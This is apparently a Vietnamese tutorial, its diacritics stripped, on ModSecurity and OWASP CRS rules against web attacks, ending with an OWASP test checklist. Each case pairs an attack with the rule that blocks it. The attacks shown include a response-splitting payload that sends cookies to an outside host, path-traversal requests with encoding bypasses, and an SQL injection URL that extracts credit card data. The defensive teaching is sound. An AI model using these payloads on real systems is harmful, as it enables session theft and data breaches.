thc hin chng li phng php tn cng ny, ta cn tham kho cc ch th m
ModSecurity h tr:

SecDisableBackendCompression

SecContentInjeciton

SecStreamOutBodyInspection

SecHashEngine

SecHashKey

SecHashParam

SecHashMethodRx

Phng php ny s cho php chn mt token kim tra vo d liu HTML khi web server
(Apache) tr kt qu v pha ngi dng. Bng cch s dng hm bm trn cc tham s
trong phn thn HTML, ModSecurity s chng li vic chnh sa thng tin trn knh
truyn. Bn di l cc rule v cc ch th h tr:
#vi /opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf
40

SecContentInjection On
SecStreamOutBodyInspection On
SecHashEngine On
SecHashKey rand keyOnly
SecHashParam rv_token
SecHashMethodrx "HashHref" "[a-zA-Z0-9]"
SecRule REQUEST_URI "@validateHash [a-zA-Z0-9]"
"phase:2,id:1000,t:none,block,msg:'Request Validation Violation.',ctl:HashEnforcement=On"
Ch th u tin SecDisableBackendCompression ch c s dng trong trng hp
ModSecurity c trin khai nh mt reverse proxy. D liu tr v ngi dng s c nn
bng thut ton gzip nhm gim lu lng bng thng. Cc ch th SecEncryption tip theo
nhm thng bo cho ModSecurity to ra chui gi tr bm (hash value) ngu nhin da trn
hash salt value v thnh t href trong phn thn HTML (xc nh da trn mu c nh
ngha regular expression).

Hnh 6: Cc lin kt trc khi thc hin to token

41

Hnh 7: Cc lin kt sau khi thc hin to token


Ta c th theo di qu trnh lm vic ca ModSecurity bng cch theo di debug log:
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xmlrpc.php?rsd]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [wp-content/themes/mog/main.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [wp-content/themes/mog/style.css?ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [css?family=Josefin+Slab%3A600&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [css?family=Open+Sans&ver=3.5.1]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xmlrpc.php]
[05/Jun/2013:17:25:51 +0700] [www.modsec.com/sid#25bffb0][rid#27fe1d0][/index.php]
[4] Signing data [xfn/11]
Kim tra trong trng hp cc token trong URL c tnh b loi b ti pha ngi dng, trong
trng hp ny k tn cng thc hin khai thc SQL Injection:
Trng
hp
Token hp
l
Khng c

URL
http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/?
rv_token=f3f6de81f7e3014ff6c4c6affce95caaca29e75e
http://www.modsec.com/2013/05/owasp-top-10-tools-and-tactics/%20and
42

token
%20union%20select%201,2,3,4,5,6
Trong trng hp hacker c tnh loi b token chn khai thc vo URL th rule c id 1000
s c so trng v to cnh bo ti audit_log.
[Wed Jun 05 18:12:16 2013] [error] [client 192.168.149.1] ModSecurity: Access allowed
(phase 2). Request URI matched "[a-zA-Z0-9]" at REQUEST_URI. No Hash parameter [file
"/opt/modsecurity/etc/crs/activated_rules/case1_PreventDataManipulation.conf"] [line "7"]
[id "1000"] [msg "Request Validation Violation."] [hostname "www.modsec.com"] [uri
"/2013/05/owasp-top-10-tools-and-tactics/ and union select 1,2,3,4,5,6"] [unique_id
"Ua8dEH8AAAEAAAyJBzMAAAAE"]
Trng hp 2: Pht hin cc Session cookie khng hp l
Tham kho DANH MC L HNG BO MT OWASP 2010: Testing for Session
Fixation (OWASP-SM-003)
Trong trng hp ny, ti s phn tch trng hp hacker c gng t to Seesion Cookie
khai thc theo phng php Session Fixation.
Mt s thnh phn tham kho:

o
o
o
o

OWASP ModSecurity CRS


modsecurity_crs_40_appsensor_detection_point_2.3_session_exception.conf
ModSecurity
RESPONSE_HEADERS: Set-Cookie variable
REQUEST_HEADERS: Cookie variable
setsid action
setvar action

Tn cng khai thc Session (session-guessing attack) l mt dng tn cng kh ph bin


nhm vo cookie_session trong ng dng web. i vi nhng ng dng web thng dng
cookie xc thc (authentication), phn quyn (authorization) th vic on trc gi tr
cookie s cho php hacker chim quyn phin lm vic ca mt ngi dng khc ng nhp.
Trong v d ny, ti s dng cng c BurpSuite phn tch phin lm vic (SessionID) v
thng k tnh ngu nhin ca cookie do ng dng web to ra.
i tng c kim tra: http://demo.testfire.net/

43

Hnh 8: BurpSuite Sequencer module


Trong phn cu hnh Sequencer, BurpSuite pht hin trng amSessionId dng nh danh
ngi dng truy cp vo h thng ng dng web. Ta tin hnh phn tch bng cch thc thi
chc nng start carpture.
Sau khi phn tch 1090 Session Cookie ta c kt qu phn tch nh sau:

44

Hnh 9: Cookie thu thp

45

Hnh 10: Kt qu thng k


Theo kt qu thng k ta thy rng tnh ngu nhin ca cc cookie l khng cao. Theo th
th cc gi tr ti v tr th 0,1,5,6 l khng bin i, cc v tr cn li c bin i nhng t l
thay l khng cao. Bng cch ny, hacker c th c lng c cookie ca mt ngi dng
khc ang login vo h thng. Bng php th ngu nhin, hacker s nhn c 1 trong 2 trng
hp sau:

Cookie ng: hacker ng nhp c vo trang qun tr ngi dng.


Cookie sai: hacker c chuyn hng sang trang yu cu ng nhp.

Do phng php khai thc ny l khng kh, nhng c th to nn nguy c vt qua c ch


xc thc ngi dng, leo thang c quyn trong phn qun tr
ModSecurity CRS h tr chng li vic gi mo session_cookie:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "(?i:(wordpresspass_.*?|j?sessionid|
(php)?sessid|(asp|jserv|jw)?session[-_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%
{TX.6},setvar:session.sessionid=%
{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
46

"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"
SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Theo mc nh, th rule 981062 s tm nhng tn cookie ph bin nh:

WORDPRESSPASS
SESSIONID
JSESSIONID
SESSID
PHPSESSID
SESSION
SESSION_ID
SESSION-ID
ASPSESSION
JSERVSESSION
JWSESSION
CFID
CFTOKEN
CFSID

Trong trng hp ng dng ca bn s dng mt tn cookie khc vi danh sch trn, th ta


c th d dng nh danh thm gi tr cho rule 981062. i vi webiste http://demo.testfire.net/
s dng tn cookie l amSessionId, ta c th chnh sa cho ph hp nh sau:
SecRule RESPONSE_HEADERS:/Set-Cookie2?/ "(?i:(wordpresspass_.*?|j?sessionid|
(php)?sessid|(asp|jserv|jw|am)?session[-_]?(id)?|cf(id|token)|sid)=([^\s]+)\;\s?)"
"chain,phase:3,id:'981062',t:none,pass,nolog,capture,setsid:%
{TX.6},setvar:session.sessionid=%
{TX.6},setvar:session.valid=1,expirevar:session.valid=3600,setvar:session.country_name=%
{geo.country_name}"
SecRule UNIQUE_ID "(.*)"
"chain,t:none,t:sha1,t:hexEncode,capture,setvar:session.csrf_token=%{TX.1}"
SecRule REMOTE_ADDR "^(\d{1,3}\.\d{1,3}\.\d{1,3}\.)"
"chain,capture,setvar:session.ip_block=%{tx.1}"
SecRule REQUEST_HEADERS:User-Agent ".*"
"t:none,t:sha1,t:hexEncode,setvar:session.ua=%{matched_var}"
Sau khi nh danh c session_cookie do ng dng web to ra, ModSecurity s to ra
thm mt cookie mi gi n ngi dng, ng thi cookie ny cng c lu tr ti server
bo m khng c trng hp hacker s dng cookie gi login vo h thng. Tham kho
rule to cookie mi nh bn di:
47

# -=[ SE2: Adding New Cookie ]=#


#https://www.owasp.org/index.php/AppSensor_DetectionPoints#SE2:_Adding_New_Cookie
#
# These rules will validate that the SessionID being submitted by the client is valid
#
SecRule REQUEST_COOKIES:'/(wordpresspass_|j?sessionid|(php)?sessid|(asp|jserv|jw|
am)?session[-_]?(id)?|cf(id|token)|sid)/' ".*"
"chain,phase:1,id:'981054',t:none,block,msg:'Invalid SessionID
Submitted.',logdata:'SessionID Submitted: %
{tx.sessionid}',tag:'OWASP_AppSensor/SE2',setsid:%{matched_var},setvar:tx.sessionid=%
{session.key},skipAfter:END_SE_PROFILE_ENFORCEMENT"
SecRule &SESSION:VALID "!@eq 1" "setvar:!
session.KEY,t:none,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%
{rule.id}-WEB_ATTACK/INVALID_SESSIONID-%{matched_var_name}=%{tx.0}"
Trong rule 981054, hnh ng (Action) setsid s dng gi tr amSessionId lm gi tr lu
tr ti server nh mt th nh danh (indentify token). Sau , chui kim tra quy tc lun l s
xc nh cookie trc c ph hp hay khng v tr kt qu vo bin valid. Gi s trng
hp hacker a vo mt cookie khng c tht, th rule ny s thc hin vic cnh bo cho qun
tr h thng v nguy c khai thc session-guesting.
Trng hp 3: Phng chng phng php khai thc HTTP Reponse Spliting
Tham kho DANH MC L HNG BO MT OWASP 2010: Testing for HTTP
Splitting/Smuggling (OWASP-DV-016)
Cc thnh phn tham kho

o
o
o
o
o

OWASP ModSecurity CRS


Modsecurity_Crs_40generic_attacks.conf
ModSecurity
REQUEST_URI variable
REQUEST_BODY variable
REQUEST_HEADERS variable
XML variable
@rx operator

Phng thc khai thc ny thc hin bng cch chn d liu hoc HTTP request gi vo mt
HTTP header khc. Vic ny dn n kt qu ti pha ngi dng s nhn 2 phn d liu khc
nhau trong cng 1 trang HTML, l tin cho cc khai thc Cross-user defacement, Cache
Poisioning, XSS, Page Hijacking.
Di y l mt v d trong m ngun PHP:
<?php
48

header (Location: /lang_page.php?lang=.$_GET[language]);


?>
REQUEST
RESPONSE

GET /index.php?language=english HTTP/1.1


HTTP/1.1 302 Found
Location: /lang_page.php?lang=english

Nu ti pha ngi dng, hacker c tnh chn k t Carriage Return (CR) hoc Linefeed
(LF) vo cc tham s trong URL, th dn n kt qu gi tin ti pha ngi dng b ti cu trc
theo mc ch ca hacker.
Trong bng di y m t dng tn cng DOM XSS bng cch chn on HTML vo pha
ngi dng cui, tuy nhin vic to mt gi tin chn vo pha ngi dng l kh phc tp.
GET /index.php?language=english
Cotent-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 171
<html><body%20onload='document.location.replace
%20("http://www.swpag.info/cookie_trap/"%252b%20document.cookie
%252b"/URL/"%252bdocument.location);'></body></html> HTTP/1.1
Bng cch s dng k t %0d v/hoc %0a th ta c th chuyn ton b gi tin trn thnh
mt URL duy nht:
GET /index.php?language=english%0aCotent-Length:%200%0a
%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length
%20171:%0a%0a<html><body%20onload='document.location.replace
%20("http://www.swpag.info/cookie_trap/"%252b%20document.cookie
%252b"/URL/"%252bdocument.location);'></body></html> HTTP/1.1
phng chng li dng tn cng HTTP Reponse spliting, ta c th s dng rule nh sau:
# HTTP Response Splitting
#
# -=[ Rule Logic ]=# These rules look for Carriage Return (CR) %0d and Linefeed (LF) %0a characters.
# These characters may cause problems if the data is returned in a respones header and
# may be interpreted by an intermediary proxy server and treated as two separate
# responses.
49

#
# -=[ References ]=# http://projects.webappsec.org/HTTP-Response-Splitting
#
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|
REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "[\n\r](?:content-(type|
length)|set-cookie|location):" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',t:none,t:lowercase,capture,
ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950910',logdata:'Matched Data: %{TX.0} found within %
{MATCHED_VAR_NAME}: %{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%
{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%
{tx.0}"
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|
REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "(?:\bhttp\/(?:0\.9|1\.[01])|
<(?:html|meta)\b)" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.6',maturity:'9',accuracy:'9',capture,t:none,t:htmlEntity
Decode,t:lowercase,ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting
Attack',id:'950911',logdata:'Matched Data: %{TX.0} found within %
{MATCHED_VAR_NAME}: %{MATCHED_VAR}',severity:'2',setvar:'tx.msg=%
{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}OWASP_CRS/WEB_ATTACK/RESPONSE_SPLITTING-%{matched_var_name}=%
{tx.0}"
Trng hp 4: Phng chng phng php khai thc Path-Traversal
Tham kho DANH MC L HNG BO MT OWASP 2010: Testing for Path Traversal
(OWASP-AZ-001)
Cc thnh phn tham kho:

o
o
o
o

OWASP ModSecurity CRS


modsecurity_crs_42_tight_security.conf
ModSecurity
REQUEST_URI variable
REQUEST_BODY variable
REQUEST_HEADERS variable
XML variable

Path traversal l mt phng php khai thc da vo thao tc trn URL nhm truy cp bt
hp php vo cc tp tin ti server. Hu ht cc nguyn nhn gy li l do pha m ngun web
cho php c d liu t mt tp tin khc, bng cch thay i gi tr ng dn trong chc nng
50

c tp tin ta c th vt quyn truy cp sang cc th mc cha d liu khc. c trng ca


phng php khai thc ny l s dng chui k t phn cch cu trc th mc, bao gm k t
(/ hoc \) v/hoc . (du chm) ch nh ng dn trc tip n tp tin cn khai thc. (Trch
CAPEC-126: Path Traversal http://capec.mitre.org/data/definitions/126.html)

Hnh 11: Kt qu khai thc Path-traversal


Trong v d trn, ta c th nhn thy vic truy vp vo cc tp tin cu hnh trn h thng l
rt nguy him. Mt v d in hnh l Wordpress CMS ta c th c ni dung wp-config.php
tm ti khon ng nhp c s d liu (ph thuc vo m ngun CMS m website s dng).
i vi mt s webserver c cu hnh lc mt s dng tp tin m rng, th vic chn thm
k t null %00 vo cui URL s cho php ta vt qua c ch kim tra ca webserver.
GET /cart.php?a=add%26amp%3Bdomain%3Dtranfer%2Fcart.php%3Fa
%3Dantisec&templatefile=../../../../configuration.php%00 HTTP/1.1
Mt s phng php bin i khc s gip cho hacker vt c ch kim tra bi webserver,
bng di y lit k mt s kiu bin i d liu (chui ban u /../):
Encoding Type
Hex
Short UTF-8
Long UTF-8
Double % hex
Double nibble
Firt nibble
Second nibble
%U

Example
%2f%2e%2e%2f
%c0%af%c0%ae%c0%ae%c0%af
%e0%80%af%e0%80%ae%e0%80%ae
%e0%80%af
%252f%252e%252e%252f
%%32%46%%32%45%%32%45%%32%46
%%32F%%32E%%32E%%32F
%2%46%2%45%2%45%2%46
%u002f%u002e%u002e%u002f
51

Phng chng Path-traversal trong ModSecurity CRS:


# Directory Traversal
SecRule REQUEST_URI|REQUEST_BODY|REQUEST_HEADERS|XML:/*|!
REQUEST_HEADERS:Referer "(?i)(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|
1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\/))(?:%(?:2(?:(?:52)?e|%45)|
(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\.){2}(?:\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|
c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\/))" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'7',t:none,ctl:auditLogParts=+
E,block,msg:'Path Traversal Attack',id:'950103',severity:'2',logdata:'Matched Data: %{TX.0}
found within %{MATCHED_VAR_NAME}: %
{MATCHED_VAR}',t:none,capture,tag:'OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL'
,setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},setvar:'tx.%{rule.id}OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL-%{matched_var_name}=%
{matched_var}'"
# Weaker signature
#SecRule REQUEST_FILENAME "\.\.[/\x5c]"
"phase:1,rev:'2.2.7',t:none,t:urlDecodeUni,capture,ctl:auditLogParts=+E,block,msg:'Path
Traversal Attack',id:'950103',severity:'2',setvar:'tx.msg=%
{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:'tx.%{rule.id}WEB_ATTACK/DIR_TRAVERSAL-%{matched_var_name}=%{matched_var}'"
Trng hp 5: Pht hin nguy c l thng tin th tn dng
Tham kho DANH MC L HNG BO MT OWASP 2010: SQL Injection (OWASPDV-005)
Cc thnh phn tham kho:

ModSecurity
@verifyCCoperator
OWASP ModSecurity Core Rule Set
modsecurity_crs_25_cc_known.conf

Vic r r thng tin ngi dng nh l s th tn dng (credit card number) l kh nghim
trng i vi cc ng dng thanh ton in t, cng nh cc gii php ngn hng. Thng
thng, vic l thng tin thng l kt qu ca cc cuc tn cng SQL injection c mc ch
vo cc trang thng mi in t, nhm n cp thng tin nh danh thanh ton ca ngi dng.
Di y l mt v d thc t v vic n cp thng tin ca mt ng dng web:
GET /cart/loginexecute.asp?LoginEmail='%20or
%201=convert(int,(select
%20top
52

%201%20convert(varchar,isnull(convert(varchar,OR_OrderDat
e),'N
ULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderID),
'N
ULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_FirstNam
e),
'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_LastNam
e)
,'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_OrderAd
d
ress),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_Ord
erCity),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_O
rderZip),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,OR_
OrderState),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(varchar,
OR_OrderCountry),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(var
char,OR_CCardName),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert(v
archar,OR_CCardType),'NULL'))
%2b'/'%2bconvert(varchar,isnull(convert
(varchar,OR_CCardNumberenc),'NULL'))
%2b'/'%2bconvert(varchar,isnull(
convert(varchar,OR_CCardExpDate),'NULL'))
%2b'/'%2bconvert(varchar,is
null(convert(varchar,OR_CCardSecurityCode),'NULL'))
%2b'/'%2bconvert(
varchar,isnull(convert(varchar,OR_Email),'NULL'))
%2b'/'%2bconvert(va
rchar,isnull(convert(varchar,OR_Phone1),'NULL'))%20from
%20Orders%20w
here%20OR_OrderID=47699))--sp_password HTTP/1.1
Accept: image/gif,image/xxbitmap,image/jpeg,image/pjpeg,*/*
User-Agent: Microsoft URL Control - 6.00.8862
53

Cookie:
ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJD
BGP
Host: www.banking.com
X-Forwarded-For: 14.0.18.205
Connection: Keep-Alive
Cache-Control: no-cache, bypass-client=14.0.18.205
Trong cu truy vn SQL trn, hacker thu thp d liu c nhn ca ngi dng ti cc table
c in m. Cc rule trong nhm khai thc SQL injection c th chng li dng tn cng ny,
nhng cn ch rng cc rule pht hin SQL injection ch ch theo di (Detect-only). Sau
khi cu truy vn SQL c thc thi ti pha server, th gi tr tr v ngi dng vn cha thng
tin ca th tn dng (bao gm: tn ch th,loi th, s th, thi gian s dng).
HTTP/1.1 500 Internal Server Error
Content-Length: 573
Content-Type: text/html
Cache-control: private
Connection: close

<font face="Arial" size=2>


<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial"
size=2>error '80040e07'</font> <p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'Feb 13 2007 12:00AM/47699/John/Doe/123 Bob
Brown Dr /Mystic/06355/CT/US/John C
Doe//NNNNNNNNNNNNNNNN/03/2008/4692/jdoe@email.net/860.555.7578' to a
column of data type int.</font><p>
<font face="Arial" size=2>/cart/loginexecute.asp</font><font face="Arial" size=2>, line
49</font>
Vic khai thc ca hacker trong trng hp ny l thnh cng, s th tn dng c thay th
bng chui NNNNN trong phn thn HTML. Trong phin bn ModSecurity CRS hin ti c
h tr tp lnh modsecurity_crs_25_cc_known.conf, bao gm cu trc cc mu th tn dng
ph bin nh GSA SmartPay, MasterCard, Visa, American Express, Diners Club, enRoute,
Discover, JCB:
# MasterCard
SecRule ARGS "@verifyCC (?:^|[^\d])(5[1-5]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-?\d{4})(?:
[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'MasterCard Credit Card
Number detected in user input',id:'920005',tag:'PCI/10.2',severity:'5'"
# Visa
54

SecRule ARGS "@verifyCC (?:^|[^\d])(4\d{3}\-?\d{4}\-?\d{2}\-?\d{2}\-?\d(?:\d{3})??)


(?:[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'Visa Credit Card Number
detected in user input',id:'920007',tag:'PCI/10.2',severity:'5'"
# American Express
SecRule ARGS "@verifyCC (?:^|[^\d])(3[47]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-?\d{3})(?:
[^\d]|$)" \
"phase:2,t:none,sanitiseMatched,log,auditlog,pass,msg:'American Express Credit
Card Number detected in user input',id:'920009',tag:'PCI/10.2',severity:'5'"
Cc rule ny s dng @verifyCC operator phn tch mu trong d liu tr v pha ngi
dng. Cc thnh phn tip theo trong rule s xc nh 4 k t u trong m th xch nh
loi th tn dng.
[error] [client 192.168.1.103] ModSecurity: Warning. Pattern match "^(\\\\d{4}\\\\-?)" at
TX:ccdata. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_25_cc_known.conf"] [line "80"]
[id "920010"] [msg "American Express Credit Card Number sent from site to user"]
[data "Start of CC #: 3723***..."][severity "ALERT"][tag "WASCTC/5.2"] [tag "PCI/3.3"]
[hostname "www.banking.com"][uri "/cart/loginexecute.asp"] [unique_id
"T6wAb38AAQEAAEltA7EAAAAB"]
Trng hp 6: Pht hin hnh vi ng nhp bruteforce
Tham kho DANH MC L HNG BO MT OWASP 2010: Brute Force Testing
(OWASP-AT-004)
Cc thnh phn tham kho:

o
o

OWASP ModSecurity Core Rule Set (CRS)


modsecurity_crs_10_config.conf
modsecurity_crs_11_brute_force.conf

Trong phn minh ha khai thc bruteforce, ti s dng module Intruder trong phn mm
Burp Suite. Module ny cho php ngi dng ty bin d liu gi tin HTTP v sau thc
hin gi ni dung n server.

55

Hnh 12: Giao din Burp Suite v ni dung ng nhp Wordpress CMS
Trong phn ng nhp nh hnh trn, ti ch nh tham s pwd s l ni thc hin chn cc
gi tr password trong qu trnh bruteforce.

56

Hnh 13: Danh sch cc password ph bin

57

Hnh 14: Trang web thng bo password khng chnh xc


Do trang qun tr CMS khng gii hn s ln ng nhp, nn danh sch password gm 3424
chui s ln lt thay th vo bin pwd. Trong trng hp ngi dng s dng mt khu yu,
th vic ti khon ngi dng b b gy xc thc l c th.
Phng chng:
Tp tin u tin ti cn cu hnh l modsecurity_crs_10_setup.conf, thc hin xa comment
trong rule 900014:
# -- [[ Brute Force Protection ]] --------------------------------------------------------#
# If you are using the Brute Force Protection rule set, then uncomment the following
# lines and set the following variables:
# - Protected URLs: resources to protect (e.g. login pages) - set to your login page
# - Burst Time Slice Interval: time interval window to monitor for bursts
# - Request Threshold: request # threshold to trigger a burst
# - Block Period: temporary block timeout
58

#Thc hin thay i dng setvar:'tx.brute_force_protected_urls=/login.jsp


#/partner_login.php', bng ng dn trang ng nhp wordpress.
SecAction \
"id:'900014', \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/wp-login.php', \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force_block_timeout=300', \
nolog, \
pass"
Tip theo, ti thc hin cu hnh tp tin modsecurity_crs_11_brute_force.conf
# Anti-Automation Rule for specific Pages (Brute Force Protection)
# This is a rate-limiting rule set and does not directly correlate whether the
# authentication attempt was successful or not.
# Enforce an existing IP address block and log only 1-time/minute
# We don't want to get flooded by alerts during an attack or scan so
# we are only triggering an alert once/minute. You can adjust how often
# you want to receive status alerts by changing the expirevar setting below.
#
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"chain,phase:1,id:'981036',block,msg:'Brute Force Attack Identified from %{tx.real_ip} (%
{tx.brute_force_block_counter} hits since last
alert)',setvar:ip.brute_force_block_counter=+1"
SecRule &IP:BRUTE_FORCE_BLOCK_FLAG "@eq 0"
"setvar:ip.brute_force_block_flag=1,expirevar:ip.brute_force_block_flag=60,setvar:tx.brute_
force_block_counter=%
{ip.brute_force_block_counter},setvar:ip.brute_force_block_counter=0"
#
# Block and track # of requests but don't log
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:1,id:'981037',block,nolog,setvar:ip.brute_force_block_counter=+1"
#
# skipAfter Checks
# There are different scenarios where we don't want to do checks # 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file
# 2. If the current URL is not listed as a protected URL
# 3. If the current IP address has already been blocked due to high requests
59

# In these cases, we skip doing the request counts.


#
SecRule &TX:BRUTE_FORCE_PROTECTED_URLS "@eq 0"
"phase:5,id:'981038',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_C
HECKS"
SecRule REQUEST_FILENAME "!@within %{tx.brute_force_protected_urls}"
"phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_C
HECKS"
SecRule IP:BRUTE_FORCE_BLOCK "@eq 1"
"phase:5,id:'981040',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_C
HECKS"
## Brute Force Counter
# Count the number of requests to these resoures
#
SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"
#
# Check Brute Force Counter
# If the request count is greater than or equal to 50 within 5 mins,
# we then set the burst counter
#
SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}"
"phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expire
var:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!
ip.brute_force_counter"
#
# Check Brute Force Burst Counter and set Block
# Check the burst counter - if greater than or equal to 2, then we set the IP
# block variable for 5 mins and issue an alert.
#
SecRule IP:BRUTE_FORCE_BURST_COUNTER "@ge 2"
"phase:5,id:'981043',t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip} # of Request Bursts: %
{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"
SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS
Nhng rule ny c tc dng theo di vic ng nhp ti trong wp-login.php. Nu cng thi
im c nhin hn hai kt ni ng nhp th ModSecurity s thc hin hnh ng chn kt ni
tm thi trong 5 pht, ng thi cc cnh bo s c to ra trong log qun tr.
60

[www.modsec.com/sid#2268fb0][rid#24f74d8][/wp-login.php][5] Rule 238e100:


SecRule "IP:BRUTE_FORCE_BURST_COUNTER" "@ge 2"
"phase:5,id:981043,t:none,log,pass,msg:'Potential Brute Force Attack from %{tx.real_ip}
- # of Request Bursts: %
{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"

Hnh 15: Modsecurity thc hin chn cc truy vn vt mc quy nh

61

XII.

PH LC

DANH MC L HNG BO MT OWASP 2010


DANH SCH L HNG
CONFIGURATION MANAGEMENT TESTING INFORMATION GATHERING

NHM

STT

TN L HNG

THAM CHIU

1
2
3
4
5
6

Spider, Robots and Crawlers


Search Engine Discovery/Reconnaissance
Identify application entry points
Testing for Web Application fingerprint
Application Discovery
Analysis of Error Codes

OWASP-IG-001
OWASP-IG-002
OWASP-IG-003
OWASP-IG-004
OWASP-IG-005
OWASP-IG-006

SSL/TLS Testing (SSL Version, Algorithms,


Key length, Digital Cert. Validity)
DB Listener Testing
Infrastructure Configuration Management
Testing
Application Configuration Management
Testing
Testing for File Extensions Handling
Old, backup and unreferenced files
Infrastructure and Application Admin
Interface
Testing for HTTP methods and XST

OWASP-CM-001

Credentials transport over an encrypted


channel
Testing for user enumeration
Testing for Guessable (Dictionary) User
Account
Brute Force Testing
Testing for bypassing authentication schema

OWASP-AT-001

8
9
10
11
12
13
14

15
16
17
18
19

62

OWASP-CM-002
OWASP-CM-003
OWASP-CM-004
OWASP-CM-005
OWASP-CM-006
OWASP-CM-007
OWASP-CM-008

OWASP-AT-002
OWASP-AT-003
OWASP-AT-004
OWASP-AT-005

20

OWASP-AT-006

22
23
24

Testing for vulnerable remember password


and pwd reset
Testing for Logout and Browser Cache
Management
Testing for CAPTCHA
Testing Multiple Factors Authentication
Testing for Race Conditions

25
26
27
28
29

Testing for session management schema


Testing for Cookies attributes
Testing for Session Fixation
Testing for Exposed session Variables
Testing for CSRF

OWASP-SM-001
OWASP-SM-002
OWASP-SM-003
